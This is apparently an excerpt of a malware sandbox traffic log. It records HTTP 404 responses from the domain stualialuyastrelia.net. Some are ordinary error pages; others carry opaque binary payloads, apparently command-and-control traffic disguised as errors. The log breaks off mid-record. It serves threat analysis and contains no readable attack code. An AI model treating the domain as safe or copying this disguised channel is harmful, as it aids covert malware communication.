Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 4d 8f e2 e3 57 73 83 19 84 a1 25 0c 35 07 7a 77 89 e7 1c 29 67 5a 6f 79 02 14 63 90 77 64 de 72 25 cf c5 66 ee 97 76 3f 6a 4e d8 8f 5e 32 5b 09 91 fc f2 90 2a f8 02 b2 31 eb 43 3c f4 7d 8e 2b 60 15 f7 b7 e6 a6 7c 84 ec 9e cf be 3d 9c d5 72 a7 5d e8 b1 60 e5 4f 90 4d 63 05 b8 08 70 ab 33 e4 ad ee 71 a5 af ae 06 78 85 8a 06 b2 05 bc 7e 46 af 8c bc c0 e3 64 3c 6b fc e0 6a e2 46 b3 9e da 24 06 01 a9 01 44 e4 96 6c 90 17 8c 52 89 18 c9 cf c4 92 55 58 63 f3 43 b8 85 08 bc 8b be 7d 35 bb d6 18 9c eb 91 78 14 a5 16 42 a2 cf 56 57 d1 9d 8e 11 55 cf 1f dc 4d 93 8f 69 d8 d1 26 39 27 df 2a bd 45 d1 44 99 fe 97 ce 51 77 df 3d d1 36 92 92 87 db d7 db e3 76 e4 03 b7 3b d0 7a 7f 64 c5 72 d8 a5 44 c9 a0 c1 b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 5d 85 5d bf 0a 35 fb f8 dc f1 1a 2b 29 7c 0a 8d c7 fd e4 0e 44 eb 7c 50 e0 81 f0 0a 68 ab 4a d8 19 78 e0 4f 3b 3f 96 ae 0c 82 02 4c 75 46 ad f3 57 7b 2a b9 72 ee cc 33 b2 65 0e 31 79 82 90 f7 da f5 ec e7 72 2b 4c 80 d5 12 f9 13 63 11 bb d6 af a1 1f 27 d4 79 b7 9f 33 c9 cc 46 db 48 15 ac af eb c9 55 3d bf ba 68 92 0e ef 9d 7f 6f 55 40 57 64 7b 39 76 e7 ac 04 00 84 42 40 74 9b c7 9b b0 bb 35 66 45 8a 64 b1 1d c0 30 51 0c 7b 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e 94 1b cf b2 cb 29 b3 68 e7 5b 02 54 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 99 07 99 8a cd a4 7f 74 01 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f fe d5 cf 02 fb f6 6b e3 fd fa d9 37 00 90 e3 1c c9 10 f5 52 48 d4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 3a eb ac f8 58 1c 6b ab f6 ae 25 2e 6c 89 c6 ec 35 d8 c3 a7 0d 88 c2 d4 5f 69 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 81 c4 a1 73 0b 19 bb dd a2 e8 c8 2f 3b 4d 0b e8 8b 43 16 ac 18 08 75 b3 0e f3 89 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 8c 6b 82 9f 17 e8 43 d9 ed ef 63 45 dc 1a 8e 80 18 57 c1 16 7d 42 13 8a 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 33 0f b6 a5 8c 57 6c 0a 03 38 30 5f 56 ad b8 78 fe 41 ac 98 6d 08 5e 32 d0 19 d1 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 38 20 b2 7d f5 62 31 36 78 7f 5c 5a c8 36 19 5f 11 8f 4a f9 e4 a9 2a 01 6e f1 de 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 41 82 e3 d0 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 15 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 07 1b 76 28 1e 84 60 41 b2 d4 9b 8d 6e 47 47 4e a0 ff 72 6e 80 79 aa 47 33 4b fe cd ea b7 41 8e 02 90 05 f9 ee 9f 25 f9 b1 16 31 81 cc b5 23 43 34 dc ce c3 a8 e6 4f 95 16 79 1c 61 5f 3e a9 fe 2d a2 22 1a 5c 76 3f e8 b7 69 27 e7 6e d5 6b 6d 75 85 03 0c 04 a2 2a f7 b1 b0 14 82 99 a1 79 e7 21 f9 e3 86 cf bf b9 bd 71 d7 21 7d 4f 87 21 ee fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 78 8d 55 db c4 0d 13 13 ef 5b e1 92 40 8e 48 c5 90 de 4b c4 61 7e de f5 69 b9 19 17 8e 5f 8d 9a ae 46 c7 84 c1 33 df 7a 0d 80 49 19 e0 2c 95 a9 58 a9 f5 96 be 35 51 61 9a d4 3e 3c 89 28 c8 48 6b b1 c0 4a 9a 01 fd ec 9b aa 79 ac 87 2f bd 61 08 c0 5f bf 46 34 fd f8 12 8c 39 6c 29 78 0a 8d cb c4 6c 0e a6 eb 1e b0 6b 04 eb 1a 68 9b 4a d8 19 be cc 4f 3b 79 82 ae 9c 97 12 4c 75 56 ad f3 57 2b 2a b9 72 ee cc 23 b2 75 0e 31 69 92 90 f7 df f5 ec e7 72 2b 4c 80 04 ae fa 13 1b 11 bb d6 af 11 39 27 18 c0 b2 9f 33 29 c8 46 79 68 15 ac af eb d9 55 3d af ba 68 92 de f5 9d 27 78 55 40 d7 f0 78 39 7a e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b c1 f8 dc 8e c2 00 e8 e4 1f 5e a1 90 4e a1 54 55 a5 2e b5 1b 77 c7 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f d4 5c 68 91 b2 5d 63 89 58 5e ae 03 6b 6d 1d e4 a6 6d 10 9f 10 33 db b0 99 03 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b c1 62 7a b7 b2 fa a7 81 5f c8 b4 bb df 50 16 28 d2 0e 44 1f d0 8d ab 7a 8f 78 69 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 63 af 86 63 5e dc e5 7e b5 a5 71 d4 03 3b af 98 76 60 0f ca 82 75 26 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 83 b2 25 67 03 6c 5b 1d f8 e0 8a ae 88 c1 24 a5 33 25 5f da a9 c3 20 cb 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 59 4c da fd cd a1 59 97 52 e5 c0 ea 9e 13 f8 bd 4c 45 e3 f0 73 8d a9 da ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 02 03 81 d6 51 aa 5d 55 fe df 3c 42 9a c9 db 9e 73 2f b3 65 a2 8f 1a 78 60 d4 33 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 90 e9 f3 72 6c b0 5c 7a 7d 24 0b e9 4f 17 8d e3 51 f0 b8 3d db 18 54 5a 17 8a 55 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 2e f1 fd 1a b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 15 fc 96 6e a0 e4 f6 c7 35 f3 73 07 03 d2 ff f9 d6 fb eb b2 b9 71 cd d5 31 33 d1 32 7d 45 7c 1f 57 44 ad d2 e6 3c 50 15 51 fe 08 02 ba 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 60 91 54 5b fd 55 19 d0 ed c5 f0 b1 17 26 58 4a b2 a2 55 3e 17 21 4b da a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 42 2d 44 db 94 0d 13 13 bf de f0 92 a8 95 4e c5 03 a1 cb a1 61 7e de f5 69 b9 19 17 7e 5f af 9a a5 44 c9 a0 c1 b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 6c 33 6c 29 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae bc b7 22 6c 55 76 8d d3 57 3b 29 b9 72 ce cc 23 b2 3d 0f 31 79 96 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 8f 11 1c 07 f4 49 97 bf c1 9f c2 46 d9 68 16 ac af 8b d5 55 3d e3 bb 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 08 a4 62 60 57 bb e7 bb 88 e7 3d 66 f1 0a 75 b1 1d 32 12 51 8c dc 1a 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 8b e7 d3 7a 1b a2 cb 29 32 08 e7 5b 1e f4 ba 1e 26 7f 11 ee c3 60 5a a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 6c 5e ae c3 75 97 6c 96 c5 7d 10 9f 10 27 d8 b0 99 c7 88 8a cd 7a 7e 74 79 e0 60 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 6b a9 b4 fb 2f 0e 7f 4d bf c7 22 7e d0 61 ee 7a 8f 96 78 e3 cd d0 d9 37 00 ce ec 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 5f dc e5 9e 63 c4 1f bb 77 eb ac 98 76 e8 27 ca 82 ef 7d 2e 9f 10 e6 ec 35 d6 cc a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 78 3a 1d 98 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 65 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1b 81 01 c7 5b cb f7 07 a6 3b bf 29 46 16 31 e4 76 4b 6d 82 5c 2c 13 37 c1 a5 94 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eUys/~(`:[;)F1vKm\,70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 34 39 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 86 19 c1 5d de fa 09 b4 20 fd 26 4c 17 34 ff 6b 4b 36 d4 00 2a 5f 2e d3 af 87 ed 8d 73 95 64 7e 0b 69 e3 b4 e8 fa 58 6e 96 77 7b b8 da 85 39 bf 06 26 fb 43 9d 0d 0a 30 0d 0a 0d 0a Data Ascii: 49Uys/~(u:R] &L4kK6*_.sd~iXnw{9&C0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 